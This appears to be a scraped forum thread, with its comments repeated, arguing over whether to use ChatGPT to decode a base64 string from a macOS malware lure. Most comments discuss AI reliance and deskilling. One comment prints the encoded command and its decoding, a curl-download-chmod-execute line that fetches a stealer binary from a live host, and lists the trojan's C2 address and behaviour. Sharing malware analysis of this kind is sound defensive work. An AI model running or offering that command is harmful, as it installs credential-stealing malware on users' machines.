4 ms·

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/

by mort96 1y ago

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

meander_water 1y ago
Yeah I was hoping to see the actual script content
- guessmyname 1y ago
  Here you go, fellow netizen: echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt tTVVGRVl2OEFsZktS' | base64 --decode Decodes into: curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR This downloads a Mach-O universal binary: $ curl -o foo.bar "URL" $ file ~/Downloads/foo.bar foo.bar: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64] foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64 foo.bar (for architecture arm64): Mach-O 64-bit executable arm64 VirusTotal report: https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0cdd1618fe0a58b7250aa9fdc630adb15b401624f https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0... Reading through the VirusTotal Behavior page, I can see that the Trojan… • Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php http://83.219.248.194/fulfulde.php, which then returns a text/html page • Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself) • Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app • Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample” • Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc” • Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:” After this I assume it’s game over. TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...
jb1991 1y ago
You are forgetting the world we live in now where, as time passes, fewer and fewer people will know how to do anything on their own and more and more will only accomplish things by using AI.
- DocTomoe 1y ago
  As a kid who was raised editing and tinkering memory blocks out of CONFIG.SYS, I've been watching this for a while when the GenZ-Mobile-Generation showed up and was not able to do the darnest things. I see with terror in my heart that the downward ride isn't yet over.
  - jb1991 1y ago
    The steepest part of the slope has just started.
  - anthk 1y ago
    Gen-Z people without AI (AWS' downtime for sure put tons of vibe coders/vibe sysadmins in their place) will be doomed. Mark my words. I didn't grow by editing DOS config files, but I began with it in Elementary and I've got Debian Woody (later Sarge) in my late HS teen years. OFC I played with game emulators, settings, optimizations, a lot, and under GNU/Linux I even tweaked some BTTV drivers for some El Cheapo TV Tuner. The amount of thinkering these people had omitted because of smartphones and such it's huge.
    - blooalien 1y ago
      > The amount of thinkering these people had omitted because of smartphones and such it's huge. On the other hand, I've met people in the Godot game engine community that have built entire games on Android devices using Godot (yes, actually used an Android phone and the Godot game engine to build a game; not simply exported an Android game from a PC), so that only proves to me that if someone's got that "hacker spirit", they'll find a way to indulge it, even if the only thing they've got to work with is a smart-phone (and a spare keyboard / mouse layin' around). Problem is that mentality isn't encouraged quite the way it used to be back in the early days of the tech industry. The advertising and entertainment industries have "optimized" the Internet for "engagement", but most definitely not for the betterment of humanity. You gotta have that drive to build and create things or you'll get sucked down the various total waste of life rabbit-holes provided by the brain-sucky industries.
johnisgood 1y ago
I mean some people asked what "cat" is, then I remembered there was a time when I had no idea how to use mIRC, so whatever. In my defense though, I was REALLY young.
- torben-friis 1y ago
  >In my defense though, I was REALLY young. No need to apologize, needing an excuse to lack knowledge is how we end up with people afraid to ask. I try to make it visible when I’m among juniors and there’s something I don’t know. I think showing the process of “I realize I miss some knowledge => here’s how I bridge the gap” might help against the current trend of going through the motions in the dark. It used to be that learning was almost a hazing ritual of being belittled and told to RTFM. That doesn’t really work when people have a big bold shortcut on their phones at any given time. We might need to make the old way more attractive if we don’t want to end up alone.
  - johnisgood 1y ago
    > needing an excuse to lack knowledge is how we end up with people afraid to ask. While we should encourage people to ask questions without fear, this doesn't mean we should lower standards or simplify everything for the lowest common denominator (which seems to be trending a lot!). That said, there is the real issue of "this must stay complex because that's how it really is" as well, undeniably so. > It used to be that learning was almost a hazing ritual of being belittled and told to RTFM. Been there! I think it did more good than bad to me though. Survivorship bias? In any case, I don't try to make the case here that it is optimal pedagogy. I wouldn't know. Thoughts?
  - Zobat 1y ago
    Totally agree, try to never be afraid or embarrassed of not knowing. https://xkcd.com/1053/ https://xkcd.com/1053/
  - JohnFen 1y ago
    > No need to apologize, needing an excuse to lack knowledge is how we end up with people afraid to ask. Yes! There is no shame in ignorance. We are all, without exception, ignorant of more things than we're knowledgeable about. Shame should be reserved for remaining ignorant of things when it becomes clear that we would benefit from learning about them.
bandrami 1y ago
It was almost 10 years ago that somebody asked if there's a way to do a diff of two files if they aren't both in git.
- freetonik 1y ago
  I was a guest lecturer at a university, and got a glimpse of a staff meeting about the problem of plagiarism (in code assignments). It was a surprise to them when I asked "why wouldn't you use something like diff for obvious cases?". None of the computer engineering lecturers knew about diff.
radu_floricica 1y ago
"Why use a calculator all the time? Just use pen and paper!" ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.
- JohnFen 1y ago
  genAI is unreliable. For a task like this, reliability is pretty important.
- mort96 1y ago
  Nah this is more like, "Why do you consult the vibes oracle to compute 7 * 5? Just use a calculator!" .. which is, to be honest, a criticism I would make if I saw someone try to ask ChatGPT to do math .. and, FWIW, that is exactly what's happening here; base64 decode is just math
  - miki123211 1y ago
    > if I saw someone try to ask ChatGPT to do math This makes me wonder how many kids are using Chat GPT as a calculator.
    - 1718627440 1y ago
      This is ridiculous, given that even the browser itself already includes a calculator in the URL-bar, and they are probably not using a website without a browser.
  - Freak_NL 1y ago
    For 7 × 5 using a calculator should not even be a thing for most people. Sure, some people just can't do the basic tables, but most people should be able to tell how much seven €5 items cost in a supermarket. If you could do this as a teenager, but lost that skill afterwards, you are just sacrificing your brain.
    - mort96 1y ago
snailmailman 1y ago
these AI services also won't really distinguish between "user input" and "malicious input that the user is asking about". Obviously the input here was only designed to be run in a terminal, but if it was some sort of prompt injection attack instead, the AI might not simply decode the base64, it might do something else.
- bmicraft 1y ago
  It could even conceivably be both
prasadjoglekar 1y ago
Easy, quick sandbox.
- mort96 1y ago
  What attack vector does it protect against that pasting the string into an online base64 decoder web app doesn't also protect against?
account42 1y ago
https://en.wikipedia.org/wiki/Echoborg https://en.wikipedia.org/wiki/Echoborg I am (not) looking forward to a future where people are unable to perform the simplest tasks because their digital brain has an outage and they have forgotten how to think for themselves.
drweevil 1y ago
There is a (temporary) misalignment of incentives. ChatGPT is cheap--for now. But it cannot remain so for long. Someone(s) will have to pay for those huge datacenters and the gigawatts of power they require, and the investors speculating on them.
- BeFlatXIII 1y ago
  I hope it's the investors who end up paying because customers are too cheap.
roflchoppa 1y ago
Why not? its a good use of ChatGPT, just throw the text at it, and let it figure out whats going on. It's not me executing code on my machine, or accidentally executing code.

by mort96 1y ago

meander_water 1y ago

Yeah I was hoping to see the actual script content

guessmyname 1y ago
Here you go, fellow netizen: echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt tTVVGRVl2OEFsZktS' | base64 --decode Decodes into: curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR This downloads a Mach-O universal binary: $ curl -o foo.bar "URL" $ file ~/Downloads/foo.bar foo.bar: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64] foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64 foo.bar (for architecture arm64): Mach-O 64-bit executable arm64 VirusTotal report: https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0cdd1618fe0a58b7250aa9fdc630adb15b401624f https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0... Reading through the VirusTotal Behavior page, I can see that the Trojan… • Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php http://83.219.248.194/fulfulde.php, which then returns a text/html page • Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself) • Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app • Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample” • Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc” • Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:” After this I assume it’s game over. TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...

jb1991 1y ago

You are forgetting the world we live in now where, as time passes, fewer and fewer people will know how to do anything on their own and more and more will only accomplish things by using AI.

DocTomoe 1y ago
As a kid who was raised editing and tinkering memory blocks out of CONFIG.SYS, I've been watching this for a while when the GenZ-Mobile-Generation showed up and was not able to do the darnest things. I see with terror in my heart that the downward ride isn't yet over.
- jb1991 1y ago
  The steepest part of the slope has just started.
- anthk 1y ago
  Gen-Z people without AI (AWS' downtime for sure put tons of vibe coders/vibe sysadmins in their place) will be doomed. Mark my words. I didn't grow by editing DOS config files, but I began with it in Elementary and I've got Debian Woody (later Sarge) in my late HS teen years. OFC I played with game emulators, settings, optimizations, a lot, and under GNU/Linux I even tweaked some BTTV drivers for some El Cheapo TV Tuner. The amount of thinkering these people had omitted because of smartphones and such it's huge.
  - blooalien 1y ago
    > The amount of thinkering these people had omitted because of smartphones and such it's huge. On the other hand, I've met people in the Godot game engine community that have built entire games on Android devices using Godot (yes, actually used an Android phone and the Godot game engine to build a game; not simply exported an Android game from a PC), so that only proves to me that if someone's got that "hacker spirit", they'll find a way to indulge it, even if the only thing they've got to work with is a smart-phone (and a spare keyboard / mouse layin' around). Problem is that mentality isn't encouraged quite the way it used to be back in the early days of the tech industry. The advertising and entertainment industries have "optimized" the Internet for "engagement", but most definitely not for the betterment of humanity. You gotta have that drive to build and create things or you'll get sucked down the various total waste of life rabbit-holes provided by the brain-sucky industries.

johnisgood 1y ago

I mean some people asked what "cat" is, then I remembered there was a time when I had no idea how to use mIRC, so whatever. In my defense though, I was REALLY young.

torben-friis 1y ago
>In my defense though, I was REALLY young. No need to apologize, needing an excuse to lack knowledge is how we end up with people afraid to ask. I try to make it visible when I’m among juniors and there’s something I don’t know. I think showing the process of “I realize I miss some knowledge => here’s how I bridge the gap” might help against the current trend of going through the motions in the dark. It used to be that learning was almost a hazing ritual of being belittled and told to RTFM. That doesn’t really work when people have a big bold shortcut on their phones at any given time. We might need to make the old way more attractive if we don’t want to end up alone.
- johnisgood 1y ago
  > needing an excuse to lack knowledge is how we end up with people afraid to ask. While we should encourage people to ask questions without fear, this doesn't mean we should lower standards or simplify everything for the lowest common denominator (which seems to be trending a lot!). That said, there is the real issue of "this must stay complex because that's how it really is" as well, undeniably so. > It used to be that learning was almost a hazing ritual of being belittled and told to RTFM. Been there! I think it did more good than bad to me though. Survivorship bias? In any case, I don't try to make the case here that it is optimal pedagogy. I wouldn't know. Thoughts?
- Zobat 1y ago
  Totally agree, try to never be afraid or embarrassed of not knowing. https://xkcd.com/1053/ https://xkcd.com/1053/
- JohnFen 1y ago
  > No need to apologize, needing an excuse to lack knowledge is how we end up with people afraid to ask. Yes! There is no shame in ignorance. We are all, without exception, ignorant of more things than we're knowledgeable about. Shame should be reserved for remaining ignorant of things when it becomes clear that we would benefit from learning about them.

bandrami 1y ago

It was almost 10 years ago that somebody asked if there's a way to do a diff of two files if they aren't both in git.

freetonik 1y ago
I was a guest lecturer at a university, and got a glimpse of a staff meeting about the problem of plagiarism (in code assignments). It was a surprise to them when I asked "why wouldn't you use something like diff for obvious cases?". None of the computer engineering lecturers knew about diff.

radu_floricica 1y ago

"Why use a calculator all the time? Just use pen and paper!" ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.

JohnFen 1y ago
genAI is unreliable. For a task like this, reliability is pretty important.
mort96 1y ago
Nah this is more like, "Why do you consult the vibes oracle to compute 7 * 5? Just use a calculator!" .. which is, to be honest, a criticism I would make if I saw someone try to ask ChatGPT to do math .. and, FWIW, that is exactly what's happening here; base64 decode is just math
- miki123211 1y ago
  > if I saw someone try to ask ChatGPT to do math This makes me wonder how many kids are using Chat GPT as a calculator.
  - 1718627440 1y ago
    This is ridiculous, given that even the browser itself already includes a calculator in the URL-bar, and they are probably not using a website without a browser.
- Freak_NL 1y ago
  For 7 × 5 using a calculator should not even be a thing for most people. Sure, some people just can't do the basic tables, but most people should be able to tell how much seven €5 items cost in a supermarket. If you could do this as a teenager, but lost that skill afterwards, you are just sacrificing your brain.
  - mort96 1y ago

snailmailman 1y ago

these AI services also won't really distinguish between "user input" and "malicious input that the user is asking about". Obviously the input here was only designed to be run in a terminal, but if it was some sort of prompt injection attack instead, the AI might not simply decode the base64, it might do something else.

bmicraft 1y ago
It could even conceivably be both

prasadjoglekar 1y ago

Easy, quick sandbox.

mort96 1y ago
What attack vector does it protect against that pasting the string into an online base64 decoder web app doesn't also protect against?

account42 1y ago

https://en.wikipedia.org/wiki/Echoborg https://en.wikipedia.org/wiki/Echoborg I am (not) looking forward to a future where people are unable to perform the simplest tasks because their digital brain has an outage and they have forgotten how to think for themselves.

drweevil 1y ago

There is a (temporary) misalignment of incentives. ChatGPT is cheap--for now. But it cannot remain so for long. Someone(s) will have to pay for those huge datacenters and the gigawatts of power they require, and the investors speculating on them.

BeFlatXIII 1y ago
I hope it's the investors who end up paying because customers are too cheap.

roflchoppa 1y ago

Why not? its a good use of ChatGPT, just throw the text at it, and let it figure out whats going on. It's not me executing code on my machine, or accidentally executing code.